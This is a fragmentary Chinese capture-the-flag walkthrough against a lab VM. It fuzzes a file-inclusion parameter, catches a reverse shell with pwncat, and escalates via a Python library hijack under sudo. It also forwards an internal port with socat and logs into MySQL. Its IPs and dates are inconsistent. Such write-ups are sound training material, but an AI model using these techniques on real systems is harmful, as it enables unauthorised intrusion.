❯ sudo arp-scan -l Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.132 00:0c:29:d3:79:74 VMware, Inc. 192.168.60.254 00:50:56:f0:6f:4b VMware, Inc. ^C ❯ export ip=192.168.60.132 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- I scanned ports so fast, even my computer was surprised. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.132:22 Open 192.168.60.132:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-01 15:59 CST Initiating ARP Ping Scan at 15:59 Scanning 192.168.60.132 [1 port] Completed ARP Ping Scan at 15:59, 0.09s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 15:59 Completed Parallel DNS resolution of 1 host. at 15:59, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 15:59 Scanning 192.168.60.132 [2 ports] Discovered open port 80/tcp on 192.168.60.132 Discovered open port 22/tcp on 192.168.60.132 Completed SYN Stealth Scan at 15:59, 0.05s elapsed (2 total ports) Nmap scan report for 192.168.60.132 Host is up, received arp-response (0.0028s latency). Scanned at 2025-04-01 15:59:18 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 00:0C:29:D3:79:74 (VMware)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
❯ wfuzz -c -u "http://192.168.60.235/index.php?FUZZ=/etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hw 1267 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.235/index.php?FUZZ=/etc/passwd Total requests: 207643 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000001687: 200 376 L 1270 W 18863 Ch "hack" ^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests... Total time: 46.49476 Processed Requests: 30493 Filtered Requests: 30492 Requests/sec.: 655.8373
利用hack参数访问
得到一个新的注释
1 2 3
❯ curl "$ip/index.php?hack=/etc/passwd" <!-- include failed try another file -->% 包括失败,请尝试另一个文件
❯ pwncat-cs -lp 4444 [16:03:23] Welcome to pwncat 🐈! __main__.py:164 [16:03:25] received connection from 192.168.60.132:42388 bind.py:84 [16:03:40] 192.168.60.132:42388: registered new host w/ db manager.py:957 (local) pwncat$ (remote) www-data@Newbee:/var/www/html/shop$ sudo -l sudo: unable to resolve host Newbee: Name or service not known Matching Defaults entries for www-data on Newbee: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, targetpw, use_pty
User www-data may run the following commands on Newbee: (debian) NOPASSWD: /usr/bin/python3 /var/www/html/vuln.py
number = random.randint(1, 1000) result = math.sqrt(number) * math.log(number) print(f"Calculated math nonsense: sqrt({number}) * log({number}) = {result}")
def simulate_time_wasting():
now = datetime.datetime.now() print(f"Started wasting time at {now}") time.sleep(2) # 故意睡眠 2 秒 later = datetime.datetime.now() print(f"Finished wasting time at {later}. Time wasted: {later - now}")
if __name__ == "__main__": pointless_computation() simulate_time_wasting() pointless_string_operations() print("All done. The script accomplished nothing useful.")
直接写个新的库文件,python执行会优先调用当前目录下的文件
正常提权即可
1 2 3 4 5 6 7 8 9
debian@debian:~$ vi random.py import os os.system("/bin/bash") (remote) www-data@Newbee:/var/www/html$ sudo -u debian /usr/bin/python3 /var/www/html/vuln.py sudo: unable to resolve host Newbee: Name or service not known debian@Newbee:/var/www/html$ debian@Newbee:/var/www/html$ cd ~ debian@Newbee:~$ cat user.txt ed2b1f468c5f915f3f1cf75d7068baae
Root提权
同时发现家目录中存在note提示
而且本地端口开放33065000
1 2 3 4 5 6 7 8 9 10 11
(remote) www-data@debian:/var/www/html$ cat note.txt Damn it, I forgot my database password. I heard that Debian is currently building a message board, maybe he can help me 该死,我忘记了我的数据库密码。听说Debian目前正在建立一个留言板,也许他可以帮助我。 (remote) www-data@debian:/tmp$ ss -luntp Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* tcp LISTEN 0 128 127.0.0.1:5000 0.0.0.0:* tcp LISTEN 0 511 *:80 *:* tcp LISTEN 0 128 [::]:22 [::]:*
尝试利用socat将5000端口转发出来
1 2 3 4 5 6 7 8 9 10 11 12 13
(remote) www-data@debian:/tmp$ ./socat TCP-LISTEN:5001,fork TCP4:127.0.0.1:5000& [2] 27843 -------------------------------------------------------------------- ❯ nmap -p 5001 $ip Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-08 16:34 CST Nmap scan report for 192.168.60.235 Host is up (0.00034s latency).
PORT STATE SERVICE 5001/tcp open commplex-link MAC Address: 00:0C:29:DE:6F:B8 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
(remote) www-data@debian:/var/www/html/flask$ mysql -uroot -pThePasswordYouNeverCracked Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 27710 Server version: 10.11.6-MariaDB-0+deb12u1 Debian 12
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | sys | | user | +--------------------+ 5 rows inset (0.006 sec)
MariaDB [(none)]> use user Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A